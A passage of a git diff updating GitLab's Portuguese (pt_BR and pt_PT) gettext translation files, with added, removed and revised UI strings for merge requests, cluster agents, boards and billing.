msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr "Você pode mesclar após remover as licenças negadas"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr "Você só pode mesclar quando essa solicitação de mesclagem for aprovada."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
+msgstr ""
+
+msgid "mrWidget|What is a merge train?"
+msgstr ""
msgid "mrWidget|Your password"
msgstr "Sua senha"
@@ -41258,7 +41924,7 @@ msgid "must be unique by status and elapsed time within a policy"
msgstr ""
msgid "must have a repository"
-msgstr ""
+msgstr "deve ter um repositório"
msgid "must match %{association}.project_id"
msgstr ""
@@ -41373,6 +42039,18 @@ msgid "pipeline"
msgstr "pipeline"
msgid "pipeline schedules documentation"
+msgstr "documentação de agendamento de pipeline"
+
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
msgstr ""
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
@@ -41555,9 +42233,6 @@ msgstr "entrar"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "ordenar:"
-
msgid "source"
msgstr "origem"
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
@@ -41706,7 +42384,7 @@ msgid "view the blob"
msgstr "ver o blob"
msgid "view the source"
-msgstr ""
+msgstr "Ver a fonte"
msgid "visibility"
msgstr "visibilidade"
diff --git a/locale/pt_PT/gitlab.po b/locale/pt_PT/gitlab.po
index 1c2dc219c8c..01ee3e121f1 100644
--- a/locale/pt_PT/gitlab.po
+++ b/locale/pt_PT/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pt-PT\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d resultado do teste fixo"
msgstr[1] "%d resultados do teste fixos"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d pedido de mesclagem ao qual não tens acesso."
msgstr[1] "%d pedidos de mesclagem ao qual não tens acesso."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d métrica"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] "%s envios adicionais foram omitidos para prevenir problemas de desemp
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] "%{count} aprovações obrigatórias de %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} aprovações de %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr "%{name} encontrou %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr "%{state} épicos"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", ou "
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "Um novo ramo será criado na tua bifurcação e um novo pedido de mesclagem será iniciado."
-
msgid "A new impersonation token has been created."
msgstr "Um novo token de representação foi criado."
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Tokens de Acesso"
msgid "Access denied for your LDAP account."
msgstr "Acesso negado à tua conta LDAP."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Acesso negado! Por favor, verifica se podes adicionar chaves de implantação para este repositório."
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr "Adicionar uma lista numerada"
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Adicionar uma tabela"
msgid "Add a task list"
msgstr "Adicionar uma lista de tarefas"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr "Adicionar nova aplicação"
msgid "Add new directory"
msgstr "Adicionar novo diretório"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr "Adicionar utilizadores ao grupo"
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr "Adicionado em"
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr "Adiciona %{epic_ref} como filho épico."
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Após uma atualização de palavra-passe bem-sucedida, serás redirecionado à tela de início de sessão."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "Após uma atualização bem-sucedida da palavra-passe, serás redirecionado para a página de início de sessão, onde poderás iniciar a sessão com a nova palavra-passe."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Um campo vazio do Utilizador do GitLab adicionará o nome completo do utilizador do FogBugz (por exemplo, \"Por John Smith\") na descrição de todos os problemas e comentários. Ele também irá associar e/ou atribuir estes problemas e comentários ao criador do projeto."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "Ocorreu um erro"
@@ -3550,6 +3596,9 @@ msgstr "Ocorreu um erro ao buscar os dados suspensos."
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Ocorreu um erro ao pré-visualizar o blob"
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr "Ocorreu um erro ao carregar os dados do gráfico"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "Ocorreu um erro ao carregar as assinaturas de envio"
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr "Quaisquer tokens encriptados"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr "Qualquer espaço de nome"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Tens a certeza de que desejas apagar este dispositivo? Esta ação não pode ser desfeita."
@@ -4669,6 +4730,9 @@ msgstr "Atribuir a"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "Atribuir-te a estes problemas"
@@ -4766,6 +4830,9 @@ msgstr "Falha ao anexar o ficheiro."
msgid "Audit Events"
msgstr "Eventos de Auditoria"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr "Expandir"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr "Ver escopo"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de Resposta"
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr "Alterações"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr "Altera o título para \"%{title_param}\"."
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr "Verificar disponibilidade de recursos no plano do espaço de nomes"
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "Escolhe um ficheiro"
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Clientes"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Clone"
@@ -7217,6 +7317,9 @@ msgstr "Fechar"
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr "O nome do cluster é obrigatório."
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr "A buscar projetos"
msgid "ClusterIntegration|Fetching zones"
msgstr "A buscar zonas"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integração GitLab"
@@ -7751,12 +7911,6 @@ msgstr "Cluster de instância"
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr "Nome do cluster Kubernetes"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Com um cluster Kubernetes associado a este projeto, podes utilizar apps de revisão, publicar as tuas aplicações, executar as tuas pipelines e muito mais de uma maneira simples."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr "O certificado Kubernetes usado para autenticar no cluster."
